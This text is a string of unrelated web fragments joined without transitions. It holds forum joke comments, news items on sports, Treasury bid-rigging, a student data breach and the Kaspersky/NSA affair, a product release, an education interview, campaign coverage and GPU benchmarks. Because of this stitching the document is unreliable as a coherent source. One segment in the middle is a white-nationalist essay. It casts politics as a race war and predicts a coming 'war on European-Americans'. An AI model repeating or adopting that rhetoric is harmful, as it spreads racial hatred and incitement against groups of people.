( , Mon 21 Dec 2009, 9:59, archived) ( , Mon 21 Dec 2009, 9:59,
Bwahahaha!
Excellent. ( , Tue 15 Dec 2009, 13:07, archived) ( , Tue 15 Dec 2009, 13:07,
hehehe
you should get that on Dragon's Den ( , Tue 15 Dec 2009, 13:09, archived) ( , Tue 15 Dec 2009, 13:09,
But what if the user is huuuuuuuuuuuuuuuuuuuge?
( , Tue 15 Dec 2009, 13:11, archived) ( , Tue 15 Dec 2009, 13:11,
You will have paraphrase Jaws
"Gonna need a bigger bowl!" ( , Tue 15 Dec 2009, 13:13, archived) ( , Tue 15 Dec 2009, 13:13,
Ahahahahah
Wonderful *click* ( , Tue 15 Dec 2009, 13:13, archived) ( , Tue 15 Dec 2009, 13:13,
I don't understand
Why is there such a big indent at the front? ( , Tue 15 Dec 2009, 13:20, archived) ( , Tue 15 Dec 2009, 13:20,
Rim Twang
Thanks for making this my phrase of the week. Genius ( , Wed 16 Dec 2009, 12:13, archived) ( , Wed 16 Dec 2009, 12:13,
Seriously though
I want one of these. ( , Wed 16 Dec 2009, 12:31, archived) ( , Wed 16 Dec 2009, 12:31,
Hahahaha
Rim-twang is a nameless action that's been desperate for a phrase for FAR too long. ( , Wed 16 Dec 2009, 13:27, archived) ( , Wed 16 Dec 2009, 13:27,
I love how
it sounds like it might be a contraction of the old expression: rim-to-wang. Added to dictionary. ( , Fri 18 Dec 2009, 9:01, archived) ( , Fri 18 Dec 2009, 9:01,
AHahahahaha need one.
( , Wed 16 Dec 2009, 16:32, archived) ( , Wed 16 Dec 2009, 16:32,
pfft
want ( , Wed 16 Dec 2009, 19:03, archived) ( , Wed 16 Dec 2009, 19:03,
We have sinks for this
( , Wed 16 Dec 2009, 19:38, archived) ( , Wed 16 Dec 2009, 19:38,
Thank fuck
it's not just me ^ ( , Wed 16 Dec 2009, 21:28, archived) ( , Wed 16 Dec 2009, 21:28,
Quite superb, sir! ( , Wed 16 Dec 2009, 20:29, archived) ( , Wed 16 Dec 2009, 20:29,
Maybe
forum.bodybuilding.com/showthread.php?t=120921191 could have been useful for this guy: archived) ( , Wed 16 Dec 2009, 21:05,
Genius
Pure genius... and I never knew this was so widespread. You could be on to a winner here! ( , Wed 16 Dec 2009, 22:29, archived) ( , Wed 16 Dec 2009, 22:29,
I WILL BUY 10 OF THOSE RIGHT NOW!
( , Wed 16 Dec 2009, 23:09, archived) ( , Wed 16 Dec 2009, 23:09,
AT LAST!!
Lauren Graham and Alexis Bledel sat down with EW to discuss what their characters have been through — most importantly, of course, is losing Richard Gilmore, who was played by the late Edward Herrmann. The stars previewed Rory’s return to Stars Hollow, Emily as a widow, and Lorelai’s midlife crisis. Watch their interview above.
Gilmore Girls: A Year in the Life hits Netflix Friday, Nov. 25.
On Thursday, a letter from Las Vegas detective Steve Grammas (and union head) to NFL commissioner Roger Goodell was released on Twitter by local CBS reporter Vanessa Murphy. In the letter, Grammas tells the commissioner that Bennett made “false allegations” against Vegas officers, and that “while the NFL may condone Bennett’s disrespect for our American flag, and everything it symbolizes, we hope the League will not ignore Bennett’s false accusations against our police officers.”
Grammas describes the incident how he sees it — that officers responded to “one of the most dangerous calls a law enforcement officer can be assigned- an active shooter firing rounds in a crowded casino” (it turned out there was no shooter, no gun, and no shots) — and that he’d like to see Goodell investigate Bennett for his “false allegations.” Presumably, Grammas actually believes that the NFL could and should suspend Bennett for giving his side of the story publicly.
This would suggest that at least from the union side, they are not prepared to see an investigation the officers who arrested Bennett and whether or not it was just, but instead are looking for Bennett to continue to be harassed and bothered from this incident. Somehow, the Las Vegas police aren’t done looking into what Bennett has done “wrong” from that night a little less than two weeks ago.
In addition, European authorities have opened their own investigation into possible Treasurys bid-rigging, sources said.
Investigators in the fraud division of the Justice Department have obtained chats and emails from Goldman that appear to implicate the company in manipulating the price of Treasury bonds, according to two sources familiar with the investigation.
Those chats and emails are being analyzed to determine if traders at other banks could be involved with any possible bid-rigging of US government debt, those two people said.
The identities of any traders in investigators’ cross hairs couldn’t be learned.
Goldman is said to be cooperating with the probe, one person said.
In June, The Post reported exclusively that Justice was in the early stages of investigating banks for rigging the price of Treasurys, the largest and most easily tradeable asset in the world.
Goldman is one of about 22 financial institutions that have been probed for any evidence that they may have manipulated Treasury auctions — a secretive process where banks and other financial services companies bid on the price of government debt, sources said.
Justice is also looking into whether there was price-rigging in the secondary market for Treasurys, where debt is sold at a premium, sources added. It’s unclear if investigators have yet found any improprieties or criminality.
Goldman, run by Chief Executive Lloyd Blankfein, is a major player in US government bond trading, and regularly submits bids for auctions.
In November, Goldman disclosed in a regulatory document that it was being probed for possible manipulation of government bond prices. Michael DuVally, a Goldman spokesman, declined to comment further.
Meanwhile, the European Commission, the law enforcement arm of the European Union, has opened its own investigation, joining Justice, the Securities and Exchange Commission, the Commodity Futures Trading Commission, and the New York Department of Financial Services, according to two sources.
The rigging investigation is the biggest scandal to hit the quiet but crucial Treasurys market since 1990 when Paul Mozer, a former Salomon Brothers partner, illegally cornered the government debt market. Mozer’s actions are known to readers of Michael Lewis’ “Liar’s Poker.”
Traders are thought to have rigged the market in two possible ways: by agreeing beforehand to keep bond prices higher than normal in order to boost profits in other positions that depend on higher rates, similar to how banks rigged the London-based Libor rate.
Banks also could have colluded to keep prices lower than normal to sell them at a higher price — and score a bigger spread — to their clients, who agreed to pay a fixed amount beforehand.
Villarreal, 20, had featured for Cruz Azul’s U-20 side twice, scoring once. He'll move to the Ascenso MX side, along with former San Jose Earthquakes midfielder Rafael Baca, in order to “continue their process of adaptation.”
They could debut as early as Wednesday, when Cruz Azul Hidalgo – third in the Ascenso MX – travel to Monterrey in the Copa MX.
Villarreal, a forward, signed as a Homegrown player with the Galaxy in late 2011 and scored three goals in 32 MLS appearances before heading south on loan for the whole 2014 MLS season. The Mexican giants also have the option to buy the Inglewood, Calif., native and former US youth international after that.
Baca, who is not a US citizen, was born in Mexico and signed as an undrafted free agent by the Earthquakes in July 2011 before locking down a starting spot in the 2012 season. He totaled 79 regular season appearances for the Quakes, registering two goals and nine assists.
Former Philadelphia Union midfielder Michael Farfan, who along with Baca joined Cruz Azul permanently, is set to stay on with La Máquina in Mexico City as they fight to hold the top spot in Liga MX and prepare to battle Sporting Kansas City in the CONCACAF Champions League quarterfinals next month.
The unnamed student of Shenendehowa Central School was charged Thursday with computer trespass, unlawful possession of a personal identification information and identity theft, according to news reports. He has been suspended from school and ordered to stand charges in family court in Saratoga County.
He and a peer allegedly gained access to a file containing the personal information of 250 workers because of a district-wide error in setting up a new server. After accessing the information, he sent an email alerting the principal to the breach and signed it "A student." With the help of the district's IT department, the principal identified the boy as the culprit.
"The kid committed an intentional criminal act," state trooper Maureen Tuffey told The Times Union. "He deceitfully used someone else's name and password so he would not get caught and was looking to profit from his criminal act."
All that was needed to access the information was a district password. School officials have admitted that thousands of students, faculty and employees could have accessed the same file for up to two weeks. The file contained the social security numbers, driver's license numbers and home addresses of past and present employees, most of whom were bus drivers.
Water Sensor 6 with Dock — Help prevent property damage caused by an accidental water leak or unexpected water absence.
— Help prevent property damage caused by an accidental water leak or unexpected water absence. Camera — Help keep an eye on what matters. From anywhere, anytime.
— Help keep an eye on what matters. From anywhere, anytime. Sound Sensor—Help alert you when the window breaks or dangerous and hazardous substances like smoke or CO2 is present.
Water Sensor 6 with Dock.
Flood damage is the most common home insurance claim. With Water Sensor 6, Aeotec upgrades its flood detection standard with both Z-Wave and Gen5 technologies, releasing a safety sensor now designed to work independently or together with a professional installer Dock.
Water Sensor 6 offers spot flood and leak detection, with inbuilt temperature and level sensors that can provide Z-Wave systems with additional data points with which to manage a smart home. Dock extends the functionality of Water Sensor 6 to offer multi-zone leak detection, additional power sources, and improved Z-Wave performance.
Water Sensor 6 is not only aesthetically upgraded and completely re-engineered, but also sets a new standard for connected home leak detection.
Features:
Slim, long profile allows it to unobtrusively fit in tight spaces and under cupboards
Inbuilt tilt and vibration sensors for fail-safe performance
Built in temperature sensor for water, ambient and floor heating measurements
Built in buzzer siren for in person alerts
Can be ordered with an installer friendly dock
Dock allows for the use of external probes, rope sensor, and the application of mains power
Camera.
Connected cameras often let you check in on your home, but they don’t help your smart home system control it. Aeotec’s Camera blends remote monitoring with the smart home’s need for data that lets your home be better managed and secured. Motion and audio sensors are combined with a 1080p stream allowing Camera to run complex security automations in the event audio or motion is detected.
Features:
Run complex security automations via Z-Wave. In the event that motion or audio is detected send notifications to the home owner, turn on lights for higher fidelity video, and run other safety and security focused event management scenarios
1080p camera
Suitable for indoor and outdoor installation
Sound Sensor.
Security systems have long offered motion detection, but that is a limited approach to securing the home. Sound is the new frontier in both home control and security the home. Sound Sensor from Aeotec can detects sound, which should not be there, using it to secure the home and keep its occupants safe. Using advanced sound analytics, Sound Sensor can inform a Z-Wave automation system of the sound of any smoke or CO sensors irrespective of whether they are ‘smart’ or connected. It can also detect security related events such as the sound of glass breaking.
Features:
Detect high decibel sounds, send Z-Wave alert signal to gateway and then trigger other Z-Wave devices.
Can be either mains powered or battery powered.
Picture resources:
Imagery of Water Sensor 6 with Dock, Camera, and Sound Sensor from Aeon Labs can be downloaded at http://aeotec.com/iscwest2017.zip
Visit Aeon Labs at Z-Wave Alliance Booth #26065Sands Convention Center, Las Vegas, NV 89169.
About Aeotec.
In the very same week that the Confederate Flag was taken down across the country the Gay Flag was hoisted up.
At the same time the Confederacy and the Old South were repeatedly attacked and denounced, the White House was bathed in the colors of the rainbow flag.
What a cosmic coincidence, huh?
Of course the evangelical Christians are all beside themselves over the legalization of gay marriage. Apparently, it will, any second now, bring about the apocalypse: as did banning prayer in schools in the 1960’s and abortion in the 1970’s, etc, etc.
Poor Christians. They continually wait for both blessings and curses from above, while neither materialize. Like unwanted dogs that have been left in the middle of nowhere, they set staring down the road thinking, “this is all just a crazy mix-up; any second now he’s coming back for me…..any second now….any second…”
Of course the culture war was never about culture. After all there is a reason why the conservative side was predominantly White and male while the liberal side was a mixture of blacks, Jews, Asians, Whites, Hispanics, men and women.
The “culture war” was always about race, not culture. Particular culture, after all, is born of a particular race, not the other way around.
But this reality was never able to penetrate the suet ensconced thought processors which pass for the White conservative Christian’s brains.
Even now they’re unable to reckon with the fact that the “godless”, pro-gay, pro-abortion, “throw god out of the class rooms” hard-core Marxists are facilitating and celebrating the flooding of the U.S. with tens of millions of Christians…that just, coincidentally, happen to be non-White.
Hell, the White conservative Christians are still stuck trying to contend with the fact that African-Americans are 99% Christian and vote overwhelmingly for radical leftist politicians who work to dismantle traditional values and norms.
And now they are crying that gay marriage is an attack upon Christian values, yet are unable to admit that the vast majority of the world is both non-Christian and opposed to gay marriage.
Because to admit to that would be to face the fact that their culture and identity are NOT bound up in Christianity –that this war is about destroying the physical, material civilization that is their birthright, as physical, material European-Americans.
Black, Hispanic, Asian and other non-White Christians will be, as they have been all along, left alone and even encouraged and empowered to privately and publicly celebrate their Christian faith.
White Christians are simply unwilling to see this, even though the truth of it is all around them.
And the truly frightening thing is that this “culture war” was merely the preliminary battle moves for the high ground.
The actual war on European-Americans is about to begin.
For instance, application of math principles, which has real relevance in the real world. “Even with my own kids, to some extent I see math has become an abstract code designed to get a right answer rather than seeing that math explains why this building is standing up, or why the traffic is going slow right now, or why the 49ers are kicking a field goal rather than going for first down."
DANGERS OF STANDARDIZATION
One of the big topics Pink tackles in his current book is the idea of moving from transactions to transcendence -- to making something personal. That's the best way to "sell" students on what they're learning, Pink maintains. This has been a recurring theme in education: connecting what's taught in classrooms to students' personal lives. But, as evidenced by current school dynamics, that's not the way the tide is moving.
"Most of our education is heavily, heavily, heavily standardized," Pink said. "So, 11-year-olds are all together in one room. No 10-year-olds, and certainly no 13-year-olds. And [assuming that] all of those 11-year-olds are the same, we're going to put them all together in a 35-kid classroom. Every educator knows that doesn't work well. Every educator knows about differentiated instruction. The idea that you treat everybody the same way is foolish, and yet the headwinds in education are very much toward routines, right answer, standardization."
Why is it moving this way? One of the reasons, Pink said, is the “appalling” absence of leadership on this issue. “One of the things that I see as an outsider is that so much of education policy seems designed for the convenience of adults rather than the education of children," he said. "Start time is a perfect example. Why do we do that? It’s more convenient for the teachers. Why do we have standardized testing? Because it’s unbelievably cheap. If you want to give real evaluations to kids, they have to be personalized, tailored to the kids, at the unit of one. Standardized testing: totally easy, totally cheap, and scales. Convenient for politicians and taxpayers."
With big changes coming in the form of Common Core State Standards, some fear the idea of standardized “one-size-fits-all” will become even more deeply embedded in education policy. While mastering a core set of literacies makes sense if it can turn students into effective citizens by becoming numerate and literate, Pink said the manner in which Common Core is implemented will determine its value. If Common Core is the only curriculum presented to students, then it runs into
[RELATED: How to Connect School World to the Real World]
the danger of becoming "all about cramming facts." Knowing for a test that the 5th Amendment is about self-incrimination does not necessarily result in good citizenship.
The same principle applies to the big trend in games and learning, which sometimes results simply in rewards for rote knowledge and memorization. Games have the potential to make math more relevant or engaging, Pink said, but if they lead to standardized thinking about getting to the one right answer, that can be problematic. It’s the carrot and stick thinking vestigial of a bygone era. If the only aim of a game is for points and badges, the game has little benefit for the player. For a game to be compelling and a good source of learning, it should be capable of providing rapid, robust, regular, and meaningful feedback. Social gaming, such as Minecraft, is one instantiation of this kind of salient feedback, Pink said.
"Standardized testing: totally easy, totally cheap, and scales. Convenient for politicians and taxpayers."
The standardized model of education is in dire need of an upgrade, producing students with skills that won’t serve them well outside the boundaries of school. Students who are driven by external rewards (grades, trophies), will be fare worse than those who are self-directed, motivated by freedom, challenge, and purpose, Pink wrote in his earlier book Drive.
“Here’s the thing,” he said. “We have a lot of learned behavior of compliance, and hunger for external rewards and no real engagement. We have this belief that people perform better if we hit them with this endless arsenal of carrots and sticks: If-then motivators. To get to that engagement, people have to unlearn these deeply rooted habits. I defy you to find a two year old who is not engaged. That’s how we are out of the box.”
WHAT DRIVES US
As a student, Pink said he did what everyone else did -- he wrote a paper for a class, wrote it neatly, on time, and for a grade. But when he started writing for the school newspaper, things shifted in his mind. He realized it would reach his peers, and suddenly he was motivated to improve his writing. The same goes for any student, he said. “Those clues are right in front of us,” says Pink.
That's what Big Pictures Schools, a network of schools across the country, on which Pink serves as board member, are attempting to do. New students at these schools are asked questions about their interests. They could be interested in martial arts, ballet, baseball. Then teachers take the information, and build a curriculum around those particular interests.
[RELATED: How Teachers Can Prepare Students for a Connected World]
Another way of personalizing learning, among many others, are DIY report cards. Even a fifth-grader has the wherewithal to say, “This is what I want to learn; this is what I want to accomplish; this is what I want to get better at.” Then he can look for ways to get feedback on his performance, so he can see that he’s making progress and see that he’s getting better at something.
Democratic presidential hopeful Hillary Clinton meets with students and faculty of the New Hampshire Technical Institute on Tuesday in Concord, N.H. (Photo by Andrew Burton/Getty Images)
CONCORD, N.H. - Democratic presidential candidate Hillary Rodham Clinton hedged Tuesday on whether she will support a trade package gaining traction in Congress but opposed by some in her party’s politically potent liberal wing.
"Any trade deal has to produce jobs and raise wages and increase prosperity and protect our security,” Clinton said during a tour of a community college that focuses on technical skills. “We have to do our part in making sure we have the capabilities and the skills to be competitive."
That fell short of an endorsement of the Trade Promotion Authority bill, which would give President Obama and Congress renewed authority to “fast track” approval of trade deals. That authority, which lapsed in 2007, would speed up two pending trade deals with Asia and Europe.
Of chief concern to unions and progressives is the Trans-Pacific Partnership, a massive 12-nation partnership that Clinton backed as secretary of state and hailed in her State Department memoir published last year.
The issue puts Clinton in a difficult spot between the pro-business and pro-labor wings of the party, and is being closely watched by liberals who would prefer a more adamantly left-leaning candidate to carry the Democratic banner. Former Maryland governor Martin O'Malley, who is considering a longshot presidential bid, sent out a barbed tweet shortly after Clinton made her remarks:
Join me in opposing TPP & fast-track. Americans deserve to know where leaders stand. https://t.co/nZ0oHnBjRd — Martin O'Malley (@GovernorOMalley) April 21, 2015
Clinton's campaign has previously said that she will closely watch efforts to complete the deal, known as the TPP. "We shouldn't be giving special rights to corporations at the expense of workers and consumers," Clinton spokesman Nick Merrill said last week.
She avoided the subject when she sat with labor leaders for a discussion at the liberal Center for American progress last month, before her campaign had begun.
Critics claim the deal would do what past trade deals are blamed for doing – threatening manufacturing jobs and eroding the living standards of American workers. Many unions oppose it along with potential Clinton challengers such as O'Malley and Bernie Sanders (I-Vt.). Another TPP critic, Sen. Elizabeth Warren (D-Mass.), has said she is not running for president but remains influential among progressives.
At an anti-TPP protest in Washington on Monday, Sanders called on Clinton to clarify her position.
"She's going to have to be clear. It's not a question of watching this," Sanders said. "You're going to have determine which side are you on? Are you on the side of working people who would suffer as a result of this disastrous trade agreement, and seeing their jobs go to China or Mexico, or are you on the side of corporate America? It's not a very difficult choice."
The Obama administration and congressional supporters of the deal say it would help American exports and thus create jobs, and defend protections for overseas workers. But the president has also acknowledged strong opposition to the deal among Democrats, saying on Friday: "The politics around trade has always been tough, particularly in the Democratic party, because people have memories of outsourcing and job loss."
Clinton’s two-day visit to New Hampshire is intended both to honor the state’s status as the site of the first presidential primary and to showcase her campaign theme of economic empowerment. Clinton met students and instructors at the New Hampshire Technical Institute, and opened her remarks by saying she wants to “make being middle class mean something again.”
“You really represent what I think is best about what’s going on in our economy, and in education,” Clinton said.
Students told her there is a “stigma” attached to attending a community college or trade school, something Clinton said she wants to change.
“We need to really add prestige and distinction to the work that we need done in America,” Clinton said, including skilled trade work.
Student Aurora Van De Water made Clinton laugh as she described the difference between the more general coursework common in the early years of a four-year college and the hands-on education she said she is getting now.
At many four-year engineering schools, Van De Water said, “they don’t let you touch the machines. They don’t want you breathing on them.”
In her second week of campaigning, Clinton is asking a lot of questions and small public events like the ones Tuesday, while also meeting with supporters. She will begin raising money in person next week, with $2,700-a-head events in New York and Washington.
A (history-buff) friend of mine recently said "I don't get why anyone would read fiction if you could learn by reading nonfiction, and it's even better." I thought, "That's how I feel about children's books!"
In Annabelle & Aiden (In The Story Of Life), a children’s book written in rhyme, Annabelle asks, “Why do we look the way that we do? With our hands and feet in neat sets of two? What made my eyes? And what made my nose? And the shape of my body, from my head to my toes?” A wise owl answers by describing the amazing story of Darwinian evolution, and what we learn from it: to treat each other with kindness, since we are all related as one big family.
I intend this to be the first in the Annabelle & Aiden series: a series of children’s books that explore the line where science and philosophy meet. While fairy tales widen the imagination, facts are as magical as fiction—and educational as well. Where did we come from? What happens when we die? What makes me, me? These types of questions have been kept from children to their detriment—until now. This series will introduce them in a safe and loving way.
“Fun poem on the story of life!” -Dr. Liz Freedman Fowler, paleontologist, Executive Director of St. George Dinosaur Discovery Site at Johnson Farm
One of the frustrations of 'late 2013' Mac Pro cylinder owners is the inability to run CUDA capable applications -- since the dual AMD FirePro GPUs do not support CUDA. Bizon is offering a solution: the BizonBOX 2 . Using an ASUS GeForce GTX 980 Ti STRIX, we gave it a test flight connected to the our 8-core Mac Pro "turbo tube."
Octane Render (Benchmark Scene)
This is a "GPU only" standalone renderer that can process scenes created in and exported from Maya, ArchiCAD, Cinema 4D, etc. -- and does so in a fraction of the time it takes with a CPU based renderer. However, it only works with CUDA capable NVIDIA graphics cards. The DEMO comes with a scene called octane_benchmark.ocs. For our test we selected RenderTarget PT (Path Tracing). The render time is tracked and displayed in total seconds. (LOWEST time in seconds = FASTEST)
OctaneBench
The makers of Octane Render now offer a standardized benchmark to make it easier to compare your CUDA GPU to others. (HIGHEST score = FASTEST)
DaVinci Resolve Noise Reduction Playback
Using the full version, when you playback a project while applying Noise Reduction on the fly, the GPU(s) are stressed. We used the popular Candle project. Though the target speed is 25 FPS, we set the maximum playback framerate to 500 fps to force fastest possible playback speed. (HIGHEST number in average Frames per Second = FASTEST)
Blender Blenchmark
This is an open source 3D renderer. With Compute Device set either OpenCL or CUDA, Blender is forced to use one or more GPU for rendering the test scene. We used the single BMW scene provided by Blenchmark. (LOWEST time in seconds = FASTEST)
CUDA PRO APP ANALYSIS
Certain pro apps (like Octane Render) require a GPU that supports CUDA. Before we connected the BizonBOX 2 with an NVIDIA GPU, the 'late 2013' Mac Pro was not able to run Octane Render or any other "CUDA only" app.
On the other hand, apps like DaVinci Resolve and Blender support both CUDA and OpenCL which makes room for AMD GPUs (like the FirePro D700) that only support OpenCL. However, as in the case of DaVinci Resolve it took dual D700s to equal the performance of one GeForce GTX 980 Ti. And in the case of Blender, even with both D700s rendering, they took longer than one GeForce GTX 980 Ti.
Note that we included results for the GTX 980 Ti running in the 2010 Mac Pro tower. Even with the slower bandwidth of Thunderbolt 2 compared to the x16 PCIe slot, the BizonBOX 2 provided comparable performance in 3 out of 4 cases.
Professional Mac Pro users want OPTIONS. BizonBOX 2 provides an important GPU option -- especially if your Mac Pro cylinder only has the lower end D300 and D500 GPUs.
Next we tried some OpenGL, GPU intensive games with the BizonBOX 2 connected to the LG UltraWide display using a DisplayPort on the GeForce GTX 980 Ti.
Tomb Raider
We ran the built-in benchmark set to "HIGH" preset. (HIGHEST average frames per second = FASTEST)
Diablo III
Our character in the Shattered Crown campaign searches for the Chancelor's Alther beneath the Cemetery of the Forsaken. Settings were 3440x1440, Quality: HIGH, V-Sync: OFF, Anti-Aliasing: OFF. (HIGHEST average frames per second = FASTEST)
Left 4 Dead 2 (Steam)
Settings were 3440x1440, Fullscreen, no AA, Anisotropic 8X, Vsync Disabled, Shader Detail Very High, Effect Detail and Model/Texture Detail both High, Multicore Rendering Enabled. TimeDemo console command was used to playback a game session. (HIGHEST average frames per second = FASTEST)
Valley OpenGL Extensions Demo
Using the built-in benchmark, we fly through forest-covered valley surrounded by vast mountains rendering 64 million meters of extremely detailed terrain down to every leaf and flower petal. Valley features advanced visual technologies: dynamic sky, volumetric clouds, sun shafts, DOF, ambient occlusion. We selected Extreme preset but turned off Anti-Aliasing and set resolution to 3440x1440. (HIGHEST average frames per second = FASTEST)
GAME ANALYSIS
Though the reason for BizonBOX 2 is to connect an NVIDIA GPU with CUDA support to the Mac Pro cylinder, you can also see the advantage of using a high-end NVIDIA GPU to run OpenGL based games and game simulators. Considering our Mac Pro had the high end FirePro D700s, the difference will be even more dramatic if your Mac Pro has the D300s or D500s.
The factory AMD FirePro D700 running on a PCIe bus suffered by comparison even though the NVIDIA GeForce GTX 980 Ti was handicapped by the limited bandwidth of Thunderbolt 2. Yet another justification for the BizonBOX 2 GPU Expander.
NOTE: The BizonBOX 2 does not support Windows on the 'late 2013' Mac Pro cylinder but DOES support Windows on the MacBook Pro 'late 2013' and newer.
The BizonBOX 2 does work with the iMac 5K with the following restrictions:
iMac 5K Late�2014, Mid�2015
OS X: With DaVinci app there is no FPS increase (GTX 970). No external display output. Able to work as a CUDA accelerator (Adobe Premiere: up to 6X performance boost).
Windows: full support with external monitor, up to 5X performance acceleration in games, tested with NVIDIA GTX 970
iMac 5K Late�2015 (AMD Radeon R9 configurations only)
OS X: No external display output. Able to work as a CUDA accelerator (Adobe Premiere: up to 6X performance boost).
Windows: graphics card detection issues (error 12).
Comments? Suggestions? Feel free to email me,
Follow me on Twitter @barefeats
WHERE TO BUY THE BIZON BOX 2
Order direct from Bizon Tech.
WHERE TO BUY MACS and OTHER APPLE products:
USA readers can help us earn a commission by using this Apple Store USA link or by clicking on any Apple display ad.
Police say a 37-year-old woman was assaulted on Saturday, April 11 while jogging in the area of 116 Avenue and 102 Street. It happened around 6:30 p.m.
Ashton Dennis Natomagan is wanted on the following charges:
robbery
assault with a weapon
choking with the intent to overcome resistance
kidnapping
unlawful confinement
sexual assault with threats to cause bodily harm
possession of an offensive weapon dangerous to the public
uttering threats to cause death or bodily harm
The 33-year-old was released from the Grande Cache Institution in early March, after serving just over five years for sexual assault causing bodily harm. Two days later, a Canada-wide warrant was issued for his arrest after he failed to return to his halfway house, which was a violation of his parole.
READ MORE: Canada-wide warrant issued for sexual offender two days after his release from prison
Natomagan is described as an Aboriginal male, 5’11” and 170 pounds. He has a bald head or very short hair.
Anyone who has information about the suspect is asked to contact the EPS at 780-423-4567 or #377 from a mobile phone. Anonymous information can be submitted to Crime Stoppers at 1-800-222-8477 or online.
Kaspersky Lab has announced a transparency initiative, opening their source code up to independent review. The announcement comes after reports form the Wall Street Journal and the New York Times, stating that Russian hackers used Kaspersky's product to steal sensitive materials from an NSA contractor's computer. Kaspersky denied any cooperation with the Russian government at the time those stories were printed, and continues to do so.
In a press release, Kaspersky says the transparency initiative will involve submitting the source code of its software – including updates and detection rules – for independent review. The aim is to give those with relevant interest a chance to validate and verify the code's trustworthiness, as well as the trustworthiness of the company's internal processes and business operations.
However, while the initiative is a solid starting point, it doesn't address the real concern, wrote Rick Ledgett, the former Deputy Director of the National Security Agency.
Anti-virus software is designed to have access to all the files on a customer's computer. In this case, the customer was an NSA contractor. By design, Kaspersky's software would have scanned those files, and if there was a signature match, it's possible they would have collected them for further analysis.
"So that is what Kaspersky has been accused of doing: using (or allowing to be used) its legitimate, privileged access to a customer's computer to identify and retrieve files that were not malware," Ledgett explained.
"Eugene Kaspersky's proposal to have experts analyze Kaspersky anti-virus code is irrelevant in this case, because the code is doing exactly what it has been designed to do, but in a way that is inconsistent with what customers expect and are paying for. It's not the code itself, it's the use of the code. The experts will find that the code does exactly what it's supposed to do, and he knows that."
This circles back to the original question. Did Kaspersky willingly share their trusted access, or were they victims too?
The original story, as well as all previous updates are below.
Update 10/10/2017:
On Tuesday, the New York Times published a story connecting Israeli spies to the 2015 data breach at Kaspersky. It was during the Israeli operation that they noticed the NSA tools on Kaspersky's network, and reported their discovery to the NSA. The NSA launched an immediate investigation, which is what eventually led to the black balling Kaspersky faces in the U.S. today.
The original NYT story is here.
In a statement, Kaspersky denies any involvement and says they have no knowledge of the intelligence operation described in the Times' article.
"Kaspersky Lab was not involved in, and does not possess any knowledge of, the situation in question. As the integrity of our products is fundamental to our business, Kaspersky Lab patches any vulnerabilities it identifies or that are reported to the company," the company said in a prepared statement.
"Kaspersky Lab reiterates its willingness to work alongside U.S. authorities to address any concerns they may have about its products as well as its systems, and respectfully requests any relevant, verifiable information that would enable the company to begin an investigation at the earliest opportunity. In addition, Kaspersky Lab has never helped, nor will help, any government in the world with its cyberespionage efforts."
Update:
After this story was published, Salted Hash was made aware of statements from Eugene Kaspersky on his blog.
"While protecting our customers, we do – as any other cybersecurity vendors – check the health of a computer. It works like an X-ray: the security solution can see almost everything in order to identify problems, but it cannot attribute what it sees to a particular user," Kaspersky said in his post addressing the WSJ report.
"In the wake of the last article I want to emphasize: if our technologies detect anything suspicious and this object is identified as malware, in a matter of minutes ALL our clients no matter who and where they are, will receive protection from this threat."
As for the notion that his company product was hacked:
"Now if we assume, that what is reported is true: that Russian hackers exploited a weakness in our products installed on a PC of one of our users, and respected government agencies concerned of national security knew about that, why didn’t they report it to us? We patch the most severe bugs in a matter of hours, so why not make the world a bit more secure by reporting the vulnerability to us? I can’t imagine an ethical justification for not doing so."
Original Story:
A report in The Wall Street Journal says that hackers working for the Russian government stole sensitive documents from a NSA contractor's home computer. The story goes on to say the contractor was targeted after the files were discovered by Kaspersky's Anti-Virus software, somewhat explaining the U.S. government's push to ban Kaspersky on its systems.
"The theft, which hasn’t been disclosed, is considered by experts to be one of the most significant security breaches in recent years. It offers a rare glimpse into how the intelligence community thinks Russian intelligence exploits a widely available commercial software product to spy on the U.S. The incident occurred in 2015 but wasn’t discovered until spring of last year, said the people familiar with the matter," the WSJ reported.
If the story proves to be true, the bigger picture is that the NSA suffered a third data breach of its hacking tools.
As to how Kaspersky ties into this data breach, the WSJ report says U.S. investigators believe the unnamed contractor's use of Kaspersky Anti-Virus (KAV) alerted the Russian hackers to the presence of the files.
"Experts said the software, in searching for malicious code, may have found samples of it in the data the contractor removed from the NSA. But how the antivirus system made that determination is unclear, such as whether Kaspersky technicians programed the software to look for specific parameters that indicated NSA material. Also unclear is whether Kaspersky employees alerted the Russian government to the finding," the WSJ reported.
One of the major unanswered questions in this story is what caused KAV to hit on these files?
If the files were related to Equation Group, then it should come as no surprise that Kaspersky's software scanned for known files and flagged them for further analysis. All anti-virus vendors do this, including those developed in the U.S.
In 2015, Kaspersky disclosed a nation-state level attack on their network (Duqu 2.0), and said the attackers were focused on their work related to APTs and nation-state attacks, including Equation Group and Regin. Considering the timeline, this suggests that Duqu 2.0 was some sort of retaliation for the compromise of the contractor's system – but that's just speculation.
The other big question: How did the Russian hackers get information from KAV?
Well, there are no solid answers to that million-dollar question.
The idea that Russian intelligence compromised Kaspersky's network in an effort to leverage their install-base isn't as far-fetched as it sounds. No one, not even Kaspersky, can thwart nation-state actors forever. Eventually, they will get what they're after. However, there isn't any proof such a scenario happened.
Did Kaspersky willingly hand over access to the Russian government? Again, while unlikely, there is no proof either way and Kaspersky denies any such cooperation with intelligence services.
In briefings with the private sector, urging them to dump Kaspersky products from their network, the FBI wouldn't get into much detail other than to essentially say, "Kaspersky, bad. Anything else, good." and leave it at that.
While it isn't clear what initially triggered the U.S. government's investigation into Kaspersky, Thursday's WSJ report certainly feels like a better explanation. They feel the software was used as a tool to compromise a NSA contractor.
Another interesting question stemming from the WSJ report centers on the hackers. What is the evidence that points to them working with or for the Russian government? If the usage of Kaspersky's software is the only link, that's a bit flimsy.
Kaspersky is a software company, they're not immune from exploitable flaws.
In 2015, Kaspersky worked with Tavis Ormandy to address a number of software flaws, "which could result in a complete compromise of any Kaspersky Antivirus user."
Is it possible one of those flaws, prior to being patched, led to outsiders compromising the software and the contractor's files? Maybe, but that would be speculation.
Again, the larger story is the third data breach of NSA hacking tools. This incident started with a contractor taking sensitive information home. Leaving Kaspersky completely out of the picture, this was never a good idea and placed that data at extreme risk.
Should enterprise managers consider today's story when selecting an anti-virus vendor? If Russia is part of your threat model, then perhaps Kaspersky isn't the best choice.
At the same time, there is a reason Kaspersky has a reputation before being aggressive and hard to avoid in the malware world. They're good at what they do.
However, risks should be weighed individually. What doesn't work for one organization might be fine for another.
